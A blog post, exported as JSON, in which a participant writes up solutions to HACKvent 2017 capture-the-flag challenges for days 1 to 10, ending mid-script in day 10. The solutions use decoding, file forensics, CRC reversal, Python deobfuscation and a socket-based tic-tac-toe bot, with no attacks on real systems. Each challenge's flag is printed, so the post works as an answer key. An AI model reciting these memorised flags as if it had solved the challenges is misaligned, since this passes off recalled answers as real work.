{"id":695,"date":"2018-01-01T02:00:07","date_gmt":"2018-01-01T02:00:07","guid":{"rendered":"http:\/\/sigterm.ch\/?p=695"},"modified":"2018-01-01T02:00:07","modified_gmt":"2018-01-01T02:00:07","slug":"hackvent-2017-write-up","status":"publish","type":"post","link":"https:\/\/sigterm.ch\/?p=695","title":{"rendered":"HACKvent 2017 write-up"},"content":{"rendered":"<p>Like every year before Christmas the HACKvent is on! It is a Jeopardy CTF competition in the style of an advent calendar. Every day at 00:00 a new challenge is released. It starts with easy ones and then becomes harder and harder. If you solve a challenge before the next one is released, you&#8217;ll get full points. Oh boy, the last couple of days were stressful&#8230;<br \/>\nUnfortunately I lost 1 point because I wasn&#8217;t able to submit the tamagotchi challenge on time. It was even more frustrating when I&#8217;ve found out, that it didn&#8217;t work because of a copy\/paste error.<br \/>\nNevertheless, I am very happy with the result as I still managed to finish on the 8th place! \ud83d\ude42<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/ranking.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-696 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/ranking-1024x477.png\" alt=\"\" width=\"584\" height=\"272\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/ranking-1024x477.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/ranking-300x140.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/ranking-768x358.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/ranking.png 1530w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><!--more--><\/p>\n<h1><\/h1>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-521 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 01: 5th anniversary (Author: M.)<\/h1>\n<p style=\"text-align: left;\"><em>time to have a look back<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-697 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/HV17-hv16-hv15-hv14.jpg\" alt=\"\" width=\"938\" height=\"100\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/HV17-hv16-hv15-hv14.jpg 938w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/HV17-hv16-hv15-hv14-300x32.jpg 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/HV17-hv16-hv15-hv14-768x82.jpg 768w\" sizes=\"auto, (max-width: 938px) 100vw, 938px\" \/><strong>Solution<br \/>\n<\/strong>This one was pretty straight forward. I just had to find the flags of the first days from the past 3 years. Simple Google-search was enough. Thanks &#8220;shiltemann&#8221; for the wirteups!<br \/>\n<a href=\"https:\/\/github.com\/shiltemann\/CTF-writeups-public\/blob\/master\/Hackvent_2014\/alldays.md\" target=\"_blank\" rel=\"noopener\">Hackvent_2014<\/a><br \/>\n<a href=\"https:\/\/github.com\/shiltemann\/CTF-writeups-public\/blob\/master\/Hackvent_2015\/writeup.md\" target=\"_blank\" rel=\"noopener\">Hackvent_2015<\/a><br \/>\n<a href=\"https:\/\/github.com\/shiltemann\/CTF-writeups-public\/blob\/master\/Hackvent_2016\/writeup.md\" target=\"_blank\" rel=\"noopener\">Hackvent_2016<\/a><br \/>\n<strong>HV17-5YRS-4evr-IJHy-oXP1-c6Lw<\/strong><\/p>\n<hr \/>\n<h1 style=\"text-align: left;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 02: Wishlist (Author: avarx)<\/h1>\n<p style=\"text-align: left;\"><em>The fifth power of two<\/em><\/p>\n<p><strong><br \/>\nDescription<br \/>\n<\/strong>Something happened to my wishlist, please help me.<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/Wishlist.txt\" target=\"_blank\" rel=\"noopener\">Wishlist.txt<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>The fifth power of two is 32. After I Base64 decoded the string for 32 times the flag was revealed:<br \/>\n<strong>HV17-Th3F-1fth-Pow3-r0f2-is32<br \/>\n<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-521 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 03: Strange Logcat Entry (Author: pyth0n33)<\/h1>\n<p style=\"text-align: left;\"><em>Lost in messages<\/em><\/p>\n<p><strong><br \/>\nDescription<br \/>\n<\/strong>I found those strange entries in my Android logcat, but I don&#8217;t know what it&#8217;s all about&#8230; I just want to read my messages!<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/logcat.txt\" target=\"_blank\" rel=\"noopener\">logcat.txt<\/a><strong><br \/>\n<\/strong><br \/>\n<strong>Solution<br \/>\n<\/strong>While browsing through the logcat, the PDU log entries were very suspicious to me. PDU stands for&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Protocol_data_unit\" target=\"_blank\" rel=\"noopener\">Protocol Data Unit<\/a>&nbsp;and is used to communicate with base-bands on mobile phones.<\/p>\n<pre class=\"wrap:true lang:default decode:true \">11-13 20:40:13.542 137 137 I DEBUG : FAILED TO SEND RAW PDU MESSAGE\nPDU Message!!\n11-13 20:40:24.044 137 137 DEBUG: I 07914400000000F001000B913173317331F300003AC7F79B0C52BEC52190F37D07D1C3EB32888E2E838CECF05907425A63B7161D1D9BB7D2F337BB459E8FD12D188CDD6E85CFE931<\/pre>\n<p>I used a <a href=\"https:\/\/www.diafaan.com\/sms-tutorials\/gsm-modem-tutorial\/online-sms-pdu-decoder\/\" target=\"_blank\" rel=\"noopener\">PDU decoder<\/a> to read the message:<br \/>\nTo: +13371337133<br \/>\nMessage: Good Job! Now take the Flag: <strong>HV17-th1s-isol-dsch-00lm-agic<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 04: HoHoHo (Author: inik)<\/h1>\n<p style=\"text-align: left;\"><em>NOTE: New easyfied attachment available<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nSanta has hidden something for you <a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/HoHoHo_medium.pdf\" target=\"_blank\" rel=\"noopener\">here<\/a>.<br \/>\n<strong>Solution<\/strong><br \/>\nI got to know many new PDF tools with this challenge. \ud83d\ude42 In the end I could solve it with <a href=\"https:\/\/www.aldeid.com\/wiki\/Origami\/pdfwalker\" target=\"_blank\" rel=\"noopener\">pdfwalker<\/a>. While scrolling through the content I&#8217;ve found a font called &#8220;DroidSans-HACKvent.sfd&#8221;.<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-700 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1-1024x564.png\" alt=\"\" width=\"584\" height=\"322\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1-1024x564.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1-300x165.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1-768x423.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1-1536x846.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/pdfwalker_1.png 1675w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a>Object 21 was referenced from there. I opened this object and dumped the decoded stream. The dumped sfd file could be converted to a ttf file with fontforge:<\/p>\n<pre class=\"lang:sh decode:true\">$ fontforge -lang=ff -c 'Open($1); Generate($2)' \"DroidSans-HACKvent.sfd\" \"DroidSans-HACKvent.ttf\"<\/pre>\n<p>When opening the created ttf with fontforge the flag is presented.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-701 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1024x313.png\" alt=\"\" width=\"584\" height=\"179\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1024x313.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-300x92.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-768x235.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution-1536x469.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/solution.png 1581w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\n<strong>HV17-RP7W-DU6t-Z3qA-jwBz-jItj<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 05: Only one hint (Author:&nbsp;HaRdLoCk)<\/h1>\n<p style=\"text-align: left;\"><em>OK, 2nd hint: Its XOR not MOD<\/em><\/p>\n<p><strong><br \/>\nDescription<br \/>\n<\/strong>Here is your flag:<\/p>\n<blockquote><p>0x69355f71<br \/>\n0xc2c8c11c<br \/>\n0xdf45873c<br \/>\n0x9d26aaff<br \/>\n0xb1b827f4<br \/>\n0x97d1acf4<\/p><\/blockquote>\n<p>and the one and only hint:<\/p>\n<blockquote><p>0xFE8F9017 XOR 0x13371337<\/p><\/blockquote>\n<p><strong>Solution<br \/>\n<\/strong>At first the challenge was released with a wrong description, the calculation was MOD instead of XOR. Unfortunately, this made me waste some time&#8230;<br \/>\nIf you calculate the hint you&#8217;ll get&nbsp;0xedb88320 which is the polynomial representation in the CRC-32 calculation. As I learned at last years HACKvent, the CRC-32 is reversible if it&#8217;s not longer than 4 bytes. I wrote a python script which calls <a href=\"https:\/\/github.com\/theonlypwner\/crc32\/blob\/master\/crc32.py\" target=\"_blank\" rel=\"noopener\">this script<\/a> and does the reverse calculation:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">import subprocess\nvalues = [\n\t\"0x69355f71\",\n\t\"0xc2c8c11c\",\n\t\"0xdf45873c\",\n\t\"0x9d26aaff\",\n\t\"0xb1b827f4\",\n\t\"0x97d1acf4\"]\nresult_string = \"\"\nfor i in values:\n\tprint(\"- Calculate Reverse CRC32 of: \" + i)\n\tproc = subprocess.Popen(['python', 'crc32.py', 'reverse', '-l', i], shell=False, stdout=subprocess.PIPE,)\n\tresult = proc.communicate()[0].splitlines()[0]\n\tresult = result[result.find(\"{\")+1:result.find(\"}\")]\n\tfor r in result.split(\", \"):\n\t\tresult_string += r[2:].decode(\"hex\")\n\tresult_string += \"-\"\nprint(\"[+] Result is: \" + result_string[:-1])<\/pre>\n<pre class=\"wrap:true lang:sh decode:true\">$ python sol.py\n- Calculate Reverse CRC32 of: 0x69355f71\n- Calculate Reverse CRC32 of: 0xc2c8c11c\n- Calculate Reverse CRC32 of: 0xdf45873c\n- Calculate Reverse CRC32 of: 0x9d26aaff\n- Calculate Reverse CRC32 of: 0xb1b827f4\n- Calculate Reverse CRC32 of: 0x97d1acf4\n[+] Result is: HV17-7pKs-whyz-o6wF-h4rp-Qlt6<\/pre>\n<p><strong>HV17-7pKs-whyz-o6wF-h4rp-Qlt6<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><strong>Day 06: Santa&#8217;s journey (Author: avarx)<\/strong><\/h1>\n<p style=\"text-align: left;\"><em>Make sure Santa visits every country<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nFollow Santa Claus as he makes his journey around the world.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/challenges.hackvent.hacking-lab.com:4200\/\">http:\/\/challenges.hackvent.hacking-lab.com:4200\/<\/a><\/p>\n<div class=\"col-md-8\">\n<div class=\"clearfix\"><strong>Solution<\/strong><\/div>\n<div>When opening the link a QR code is shown. If you decode the QR code you&#8217;ll get the name of a country. The countries are presented in random order. The goal of this challenge is to visit all countries and then probably the flag will show up. I wrote a script which reloads the URL and reads the QR codes until the result is something starting with &#8220;HV17&#8221;.<\/div>\n<div>\n<pre class=\"wrap:true lang:python decode:true\">import urllib2\nimport qrtools\nqr_code_file = \"qr.png\"\nurl = \"http:\/\/challenges.hackvent.hacking-lab.com:4200\"\nqr = qrtools.QR()\nwhile True:\n\tresponse = urllib2.urlopen(url)\n\tcountry = response.read()\n\twith open(qr_code_file, 'w') as file:\n\t\tfile.write(country)\n\tqr.decode(qr_code_file)\n\tif qr.data.startswith(\"HV17\"):\n\t\tprint(\"[+] Found: \" + qr.data)\n\t\tbreak\n\tprint(\"- Santa is in: \" + qr.data)<\/pre>\n<p><strong>HV17-eCFw-J4xX-buy3-8pzG-kd3M<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 07: i know &#8230; (Author:&nbsp;HaRdLoCk)<\/h1>\n<p style=\"text-align: left;\"><em>&#8230; what you did last xmas<\/em><\/p>\n<\/div>\n<\/div>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nWe were able to steal a file from santas computer. We are sure, he prepared a gift and there are traces for it in this file.<br \/>\nPlease help us to recover it:<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/SANTA.FILE\" target=\"_blank\" rel=\"noopener\">SANTA.FILE<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>When I have a challenge with an unknown file the first thing I try is always Binwalk. With Binwalk I could extract the file SANTA.IMA. And when running &#8220;strings&#8221; over it, the flag was presented.<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">$ strings SANTA.IMA | grep -i \"HV17\"\nY*C:\\Hackvent\\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe<\/pre>\n<p>I think there was an error in the challenge. Because the flag was there in cleartext with the chars &#8216;Y*&#8217; in front. 2 lines below was the same flag but encrypted with rot13. Looks like someone wanted to remove the cleartext flag (maybe Ctrl+X?) but failed.. \ud83d\ude42<\/p>\n<pre class=\"wrap:true lang:sh decode:true \">Y*C:\\Hackvent\\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe\nTypey=\nRevision\nP:\\Unpxirag\\UI17-HPlm-0lRH-q90B-iFdF-Fq64.rkr<\/pre>\n<p><strong>HV17-UCyz-0yEU-d90O-vSqS-Sd64<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 08: True 1337s (Author: pyth0n33)<\/h1>\n<p style=\"text-align: left;\"><em>&#8230; can read this instantly<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nI found this obfuscated code on a public FTP-Server. But I don&#8217;t understand what it&#8217;s doing&#8230;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/True.1337\" target=\"_blank\" rel=\"noopener\">True.1337<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>To solve this I had to do a bit of python magic \ud83d\ude42<br \/>\n&#8211; I took the first part of the file with the multiple &#8220;True&#8221;s, exchanged &#8220;exec&#8221; with print. This results in:<\/p>\n<pre class=\"wrap:true lang:python decode:true \">A=chr;__1337=exec;SANTA=input;FUN=print\ndef _1337(B):return A(B\/\/1337)<\/pre>\n<p>&#8211; Now I have the instructions for the second part<br \/>\n&#8211; I executed &#8220;A=chr&#8221; and the function definition<br \/>\n&#8211; Again, replaced &#8220;__1337=exec&#8221; with &#8220;print&#8221; and I got the next instructions:<\/p>\n<pre class=\"wrap:true lang:python decode:true \">C=SANTA(\"?\")\nif C==\"1787569\":FUN(''.join(chr(ord(a) ^ ord(b)) for a,b in zip(\"{gMZF_M\nC_X\n\\ERF[X\",\"31415926535897932384626433832\")))<\/pre>\n<p>&#8211; C=SANTA(&#8220;?&#8221;) is C=input(&#8220;?&#8221;) according to the first instructions<br \/>\n&#8211; &#8220;FUN&#8221; is &#8220;print&#8221;, so I got:<\/p>\n<pre class=\"wrap:true lang:python decode:true \">C=input(\"?\")\nif C==\"1787569\":\nprint(''.join(chr(ord(a) ^ ord(b)) for a,b in zip(\"{gMZF_M\nC_X\n\\ERF[X\",\"31415926535897932384626433832\")))<\/pre>\n<p>&#8211; Then I had a problem with non printable characters. Therefore I went one step back and didn&#8217;t print the instructions, but looked at the definition. I just removed the &#8220;print&#8221; in the beginning of the huge text.<\/p>\n<pre class=\"wrap:true lang:python decode:true\">'\\nC=SANTA(\"?\")\\nif C==\"1787569\":FUN(\\'\\'.join(chr(ord(a) ^ ord(b)) for a,b in zip(\"{g\\x05\\x06\\x18MZ\\x07F\\x1e_M\\x0cC\\x14_\\x03X\\x0b\\x19\\\\\\x07ER\\x1eF[X\\x13\",\"31415926535897932384626433832\")))\\n'<\/pre>\n<p>&#8211; Assembling this together resulted in this:<\/p>\n<pre class=\"wrap:true lang:python decode:true \">C=input(\"?\")\nif C==\"1787569\":\nprint(''.join(chr(ord(a) ^ ord(b)) for a,b in zip(\"{g\\x05\\x06\\x18MZ\\x07F\\x1e_M\\x0cC\\x14_\\x03X\\x0b\\x19\\\\\\x07ER\\x1eF[X\\x13\",\"31415926535897932384626433832\")))<\/pre>\n<p>&#8211; I don&#8217;t care about the input or anything, I just want the flag &#8211; therefore I just execute the print line:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">&gt;&gt;&gt; print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip(\"{g\\x05\\x06\\x18MZ\\x07F\\x1e_M\\x0cC\\x14_\\x03X\\x0b\\x19\\\\\\x07ER\\x1eF[X\\x13\",\"31415926535897932384626433832\")))\nHV17-th1s-ju5t-l1k3-j5sf-uck!<\/pre>\n<p><strong>HV17-th1s-ju5t-l1k3-j5sf-uck!<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 09: JSONion (Author: inik)<\/h1>\n<p>&nbsp;<br \/>\n<strong><br \/>\nDescription<\/strong><br \/>\n&#8230; is not really an onion. Peel it and find the flag.<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/JSONion.zip\" target=\"_blank\" rel=\"noopener\">JSONion.zip<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>The hardest part of this challenge was to figure out what to do at first. After some thinking I got that the JSON file tells you what to do in the &#8220;op&#8221; field. There are different operations: remap, gzip, b64, xor, rev and null. I had to read the JSON, interpret the operation and apply it on the data.<br \/>\nVery special was, that the author added a branch somewhere. If you assumed that there is always only one element in the JSON, you will end up with a fake flag! Very nice twist, inik! \ud83d\ude42 This would have been the perfect place to hide a hidden flag btw!<\/p>\n<pre class=\"wrap:true lang:python decode:true\">import json\nimport base64\nimport zlib\n'''result = data[0][\"content\"]\nfor c,x in enumerate(data[0][\"mapFrom\"]):\n\tprint(\"- Replace \" + x + \" with \" + data[0][\"mapTo\"][c])\n\tresult = result.replace(x, data[0][\"mapTo\"][c])\nprint(result)'''\ndef remap(mapFrom, mapTo, content):\n\tresult = \"\"\n\tfor x in content:\n\t\ti = mapFrom.index(x)\n\t\tif i &gt; -1:\n\t\t\tresult += mapTo[i]\n\t\telse:\n\t\t\tresult += x\n\treturn result\ndef gzip(content):\n\treturn zlib.decompress(base64.b64decode(content), 16+zlib.MAX_WBITS)\ndef b64(content):\n\treturn base64.b64decode(content)\ndef xor(content, mask):\n\tcontentb = base64.decodebytes(content.encode('ascii'))\n\tmaskb = base64.decodebytes(mask.encode('ascii'))\n\tresult = \"\"\n\tfor i in range(len(contentb)):\n\t\tresult += chr(contentb[i] ^ ord(maskb))\n\treturn result\ndef rev(strs):\n    return ''.join([strs[i] for i in range(len(strs)-1, -1, -1)])\ndata = json.load(open('jsonion.json'))\nnext_layer = \"\"\ncounter = 1\nwhile True:\n\top = data[0][\"op\"]\n\tprint(\"[+] Peeling layer \" + str(counter) + \"; Operation: \" + op)\n\t# !! There is a branch !! #\n\tif len(data) &gt; 1:\n\t\tprint(\"[!!] Found a branch [!!]\")\n\t\tdata = json.loads(data[1][\"content\"])\n\t\tcontinue\n\tif op == \"map\":\n\t\tnext_layer = remap(data[0][\"mapFrom\"], data[0][\"mapTo\"], data[0][\"content\"])\n\telif op == \"gzip\":\n\t\tnext_layer = gzip(data[0][\"content\"])\n\telif op == \"b64\":\n\t\tnext_layer = b64(data[0][\"content\"])\n\telif op == \"nul\":\n\t\tnext_layer = data[0][\"content\"]\n\telif op == \"xor\":\n\t\tnext_layer = xor(data[0][\"content\"], data[0][\"mask\"])\n\telif op == \"rev\":\n\t\tnext_layer = rev(data[0][\"content\"])\n\telif op == \"flag\":\n\t\tprint(\"[!!] Found the flag:\")\n\t\tprint(\"--&gt; \" + data[0][\"content\"])\n\t\tbreak\n\telse:\n\t\tprint(\"[+] New Operation not found, wrote it to file to inspect\")\n\t\twith open('layer.txt', 'w') as f:\n\t\t\tf.write(str(next_layer))\n\t\tbreak\n\tdata = json.loads(next_layer)\n\tcounter += 1<\/pre>\n<pre class=\"lang:sh decode:true \">$ python sol.py\n[+] Peeling layer 1; Operation: map\n[+] Peeling layer 2; Operation: gzip\n[+] Peeling layer 3; Operation: b64\n[+] Peeling layer 4; Operation: gzip\n[+] Peeling layer 5; Operation: map\n[+] Peeling layer 6; Operation: map\n[+] Peeling layer 7; Operation: nul\n[+] Peeling layer 8; Operation: nul\n[+] Peeling layer 9; Operation: nul\n[+] Peeling layer 10; Operation: nul\n[+] Peeling layer 11; Operation: map\n[+] Peeling layer 12; Operation: map\n[+] Peeling layer 13; Operation: b64\n[+] Peeling layer 14; Operation: b64\n[+] Peeling layer 15; Operation: b64\n[+] Peeling layer 16; Operation: map\n[+] Peeling layer 17; Operation: gzip\n[+] Peeling layer 18; Operation: map\n[+] Peeling layer 19; Operation: map\n[+] Peeling layer 20; Operation: nul\n[+] Peeling layer 21; Operation: gzip\n[+] Peeling layer 22; Operation: nul\n[+] Peeling layer 23; Operation: gzip\n[+] Peeling layer 24; Operation: xor\n[+] Peeling layer 25; Operation: nul\n[+] Peeling layer 26; Operation: map\n[+] Peeling layer 27; Operation: map\n[+] Peeling layer 28; Operation: nul\n[+] Peeling layer 29; Operation: rev\n[+] Peeling layer 30; Operation: gzip\n[+] Peeling layer 31; Operation: gzip\n[+] Peeling layer 32; Operation: map\n[+] Peeling layer 33; Operation: map\n[+] Peeling layer 34; Operation: xor\n[+] Peeling layer 35; Operation: b64\n[+] Peeling layer 36; Operation: map\n[+] Peeling layer 37; Operation: map\n[+] Peeling layer 38; Operation: nul\n[+] Peeling layer 39; Operation: rev\n[+] Peeling layer 40; Operation: xor\n[+] Peeling layer 41; Operation: nul\n[+] Peeling layer 42; Operation: map\n[+] Peeling layer 43; Operation: b64\n[+] Peeling layer 44; Operation: rev\n[+] Peeling layer 45; Operation: nul\n[+] Peeling layer 46; Operation: gzip\n[+] Peeling layer 47; Operation: rev\n[+] Peeling layer 48; Operation: rev\n[+] Peeling layer 49; Operation: map\n[+] Peeling layer 50; Operation: b64\n[+] Peeling layer 51; Operation: map\n[+] Peeling layer 52; Operation: b64\n[+] Peeling layer 53; Operation: b64\n[+] Peeling layer 54; Operation: map\n[+] Peeling layer 55; Operation: rev\n[+] Peeling layer 56; Operation: nul\n[+] Peeling layer 57; Operation: xor\n[+] Peeling layer 58; Operation: gzip\n[+] Peeling layer 59; Operation: rev\n[+] Peeling layer 60; Operation: b64\n[+] Peeling layer 61; Operation: b64\n[+] Peeling layer 62; Operation: map\n[+] Peeling layer 63; Operation: xor\n[+] Peeling layer 64; Operation: gzip\n[+] Peeling layer 65; Operation: rev\n[+] Peeling layer 66; Operation: xor\n[+] Peeling layer 67; Operation: nul\n[+] Peeling layer 68; Operation: rev\n[+] Peeling layer 69; Operation: xor\n[+] Peeling layer 70; Operation: rev\n[+] Peeling layer 71; Operation: b64\n[+] Peeling layer 72; Operation: nul\n[+] Peeling layer 73; Operation: map\n[+] Peeling layer 74; Operation: xor\n[!!] Found a branch [!!]\n[+] Peeling layer 74; Operation: xor\n[+] Peeling layer 75; Operation: rev\n[+] Peeling layer 76; Operation: nul\n[+] Peeling layer 77; Operation: xor\n[+] Peeling layer 78; Operation: rev\n[+] Peeling layer 79; Operation: rev\n[+] Peeling layer 80; Operation: b64\n[+] Peeling layer 81; Operation: rev\n[+] Peeling layer 82; Operation: b64\n[+] Peeling layer 83; Operation: b64\n[+] Peeling layer 84; Operation: nul\n[+] Peeling layer 85; Operation: rev\n[+] Peeling layer 86; Operation: rev\n[+] Peeling layer 87; Operation: b64\n[+] Peeling layer 88; Operation: map\n[+] Peeling layer 89; Operation: b64\n[+] Peeling layer 90; Operation: xor\n[+] Peeling layer 91; Operation: b64\n[+] Peeling layer 92; Operation: b64\n[+] Peeling layer 93; Operation: flag\n[!!] Found the flag:\n--&gt; HV17-Ip11-9CaB-JvCf-d5Nq-ffyi\n<\/pre>\n<p><strong>HV17-Ip11-9CaB-JvCf-d5Nq-ffyi<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-522\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 10: Just play the game (Author: pyth0n33)<\/h1>\n<p style=\"text-align: left;\"><em>Haven&#8217;t you ever been bored at school?<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nSanta is in trouble. He&#8217;s elves are busy playing TicTacToe. Beat them and help Sata to save christmas!<\/p>\n<p style=\"text-align: center;\"><em>nc challenges.hackvent.hacking-lab.com 1037<\/em><\/p>\n<p><strong>Solution<\/strong><br \/>\nMy python script plays &#8220;tic tac toe&#8221; against the computer. I&#8217;ve found out that 1-9-7-4 wins almost all the time. But as we have to win all the time, I also need to identify dangerous situations where I could lose and react accordingly:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">import socket\nimport sys\nhost = \"challenges.hackvent.hacking-lab.com\"\nport = 1037\n'''\nWinning moves 1 - 9 - 7 - 4\nNot winning all the time, but most of the time\n'''\nwinning_moves = [-1, 0, 8, 6, 3]\n#winning_moves = [-1, 2, 6, 8, 5]\ndef get_game_status(game):\n    lines = game.splitlines()\n    #print(lines)\n    if len(lines) &gt;= 3 and (\"Congratulations\" in lines[len(lines)-4]):\n        return [lines[len(lines)-4], lines[len(lines)-2]]\n    if len(lines) &gt;= 3 and (\"Congratulations\" in lines[len(lines)-3] or \"winner\" in lines[len(lines)-3]):\n        return lines[len(lines)-3]\n    game_status = [\n        [lines[len(lines)-11][3], lines[len(lines)-11][7], lines[len(lines)-11][11]],\n        [lines[len(lines)-8][3], lines[len(lines)-8][7], lines[len(lines)-8][11]],\n        [lines[len(lines)-5][3], lines[len(lines)-5][7], lines[len(lines)-5][11]]\n    ]\n    #print(game_status)\n    return game_status\ndef identify_danger(l):\n    danger = set([x for x in l if l.count(x) &gt; 1])\n    if \"*\" in l and \"O\" in danger:\n        print(\"[+] Danger identified!!\")\n        return l.index(\"*\")\n    return -1\ndef identify_win_situation(l):\n    win = set([x for x in l if l.count(x) &gt; 1])\n    if \"*\" in l and \"X\" in win:\n        print(\"[+] Win situation identified!!\")\n        return l.index(\"*\")\n    return -1\ndef get_next_move(place, i, next_move):\n    if i == -1:\n        return next_move\n    if place == \"row1\":\n        return i\n    if place == \"row2\":\n        return 3+i\n    if place == \"row3\":\n        return 6+i\n    if place == \"column1\":\n        return i+(i*2)\n    if place == \"column2\":\n        return i+(i*2)+1\n    if place == \"column3\":\n        return i+(i*2)+2\n    if place == \"dia1\":\n        return 2*i+(i*2)\n    if place == \"dia2\":\n        return (i*2)+2\ndef identify_next_move(status, m):\n    if not status or not isinstance(status[0], list):\n        return winning_moves[winning_moves.index(m)+1]\n    row1 = status[0]\n    row2 = status[1]\n    row3 = status[2]\n    column1 = [status[0][0], status[1][0], status[2][0]]\n    column2 = [status[0][1], status[1][1], status[2][1]]\n    column3 = [status[0][2], status[1][2], status[2][2]]\n    dia1 = [status[0][0], status[1][1], status[2][2]]\n    dia2 = [status[0][2], status[1][1], status[2][0]]\n    try:\n        next_move = winning_moves[winning_moves.index(m)+1]\n    except Exception as e:\n        # Maybe we came off track because of draw 